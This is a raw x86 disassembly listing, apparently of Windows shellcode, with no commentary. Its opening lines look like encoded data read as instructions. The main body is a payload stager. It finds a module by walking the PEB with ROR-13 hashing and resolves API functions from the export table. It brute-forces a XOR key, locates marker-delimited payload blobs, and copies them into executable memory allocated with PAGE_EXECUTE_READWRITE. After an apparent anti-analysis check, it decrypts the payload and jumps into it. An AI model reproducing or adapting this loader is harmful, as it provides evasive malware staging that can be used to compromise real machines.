cmp al, 4
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
add al, 0x29
sub dword [edx], ebp
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
add esi, dword [edi]
and byte [eax], ah
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
adc eax, 0x20312a37
xor dword es:[ebp + 0x10], eax
sub ebp, dword [eax]
and al, 0x35
adc ebp, dword [eax]
xor cl, byte [edx]
and eax, dword [ebx]
sub al, 0x29
and byte [ebp + 0x17], al
xor dword [ecx], ebp
add dword [eax], esp
sub ch, byte es:[eax]
xor eax, 0x36362037
pop es
pop es
xor byte [ebx], ah
and esp, dword [eax]
aaa
inc ebp
add ah, byte [eax]
xor dword [ecx], ecx
and al, 0x36
xor dword [ebx + ebp], ecx
xor eax, 0x2b0c3130
and ebp, dword [edx]
inc ebp
sub esi, dword [ecx]
and dword [ecx], ebp
sub dword [ebx + 0x21], ebp
sub dword [ecx], ebp
inc ebp
xor byte [esi], dh
and byte [edi], dh
jbe 0x40213c
imul esp, dword [ecx], 0x29
sub dword [ebp + 0x5e], eax
lea edi, [ebp - 0x104]
mov ecx, 0x9e
mov bl, 0x45
lodsb al, byte [esi]
xor al, bl
stosb byte es:[edi], al
loop 0x4020d8
push dword [ebp - 0x3a]
pop esi
lea edi, [ebp - 0x104]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4020e2
mov dword [ebp - 0x2e], esi
lea edi, [ebp - 0x104]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4020f4
sub esi, 8
sub esi, dword [ebp - 0x2e]
mov dword [ebp - 0x1e], esi
push dword [ebp - 0x3a]
pop esi
lea edi, [ebp - 0xfc]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x402110
mov dword [ebp - 0x2a], esi
lea edi, [ebp - 0xfc]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x402122
sub esi, 8
sub esi, dword [ebp - 0x2a]
mov dword [ebp - 0x1a], esi
xor edi, edi
mov esi, dword [ebp - 0x2e]
mov esi, dword [esi]
xor esi, edi
inc edi
cmp esi, 0xc029c029
jne 0x40213c
dec edi
lea esi, [ebp - 0xe]
mov dword [esi], edi
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x402170
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x402167
cmp di, 0xbc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40215f
mov eax, ebx
mov dword [ebp - 0x66], ebx
push eax
add eax, dword [eax + 0x3c]
add eax, 0x78
mov ecx, dword [eax + 4]
mov ebx, dword [eax]
pop eax
add eax, ebx
mov ebx, dword [eax + 0x1c]
mov eax, dword [eax + 0x20]
xor edx, edx
add eax, dword [ebp - 0x66]
lea esi, [ebp - 0xf4]
mov ecx, 0xe
cld
mov edi, dword [eax]
add edi, dword [ebp - 0x66]
repe cmpsb byte [esi], byte es:[edi]
jecxz 0x4021bd
inc edx
add eax, 4
jmp 0x4021a2
add ebx, dword [ebp - 0x66]
cmp edx, 0x200
jb 0x4021c9
inc edx
mov eax, dword [ebx + edx*4]
add eax, dword [ebp - 0x66]
lea ebx, [ebp - 0x42]
mov dword [ebx], eax
mov dword [ebp - 0x42], eax
lea eax, [ebp - 0xe5]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x46]
mov dword [ebx], eax
mov dword [ebp - 0x46], eax
lea eax, [ebp - 0xd8]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x5a]
mov dword [ebx], eax
lea eax, [ebp - 0xcb]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x56]
mov dword [ebx], eax
lea eax, [ebp - 0xbf]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x52]
mov dword [ebx], eax
lea eax, [ebp - 0xb0]
push eax
push dword [ebp - 0x66]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x4e]
mov dword [ebx], eax
lea eax, [ebp - 0x71]
push eax
call dword [ebp - 0x46]
mov dword [ebp - 0x5e], eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x5e]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x3e]
mov dword [ebx], eax
lea eax, [ebp - 0x7b]
push eax
call dword [ebp - 0x46]
mov dword [ebp - 0x62], eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp - 0x62]
call dword [ebp - 0x42]
lea ebx, [ebp - 0x4a]
mov dword [ebx], eax
push 0x40
push 0x1000
push dword [ebp - 0x1a]
push 0
call dword [ebp - 0x5a]
mov dword [ebp - 0x36], eax
mov ecx, dword [ebp - 0x1a]
mov esi, dword [ebp - 0x2a]
mov edi, dword [ebp - 0x36]
rep movsb byte es:[edi], byte [esi]
push 0x40
push 0x1000
push dword [ebp - 0x1e]
push 0
call dword [ebp - 0x5a]
mov dword [ebp - 0x32], eax
mov ecx, dword [ebp - 0x1e]
mov esi, dword [ebp - 0x2e]
mov edi, dword [ebp - 0x32]
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0xa], 8
lea eax, [ebp - 0xa]
push eax
call dword [ebp - 0x3e]
mov ebx, dword [ebp - 6]
lea eax, [ebp - 0xa]
push eax
call dword [ebp - 0x3e]
cmp ebx, dword [ebp - 6]
je 0x4022a6
mov esi, dword [ebp - 0x32]
mov edi, esi
mov eax, dword [ebp - 0x1e]
mov ebx, 4
div bl
mov ecx, eax
mov ebx, dword [ebp - 0xe]
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x4022d7
jmp dword [ebp - 0x32]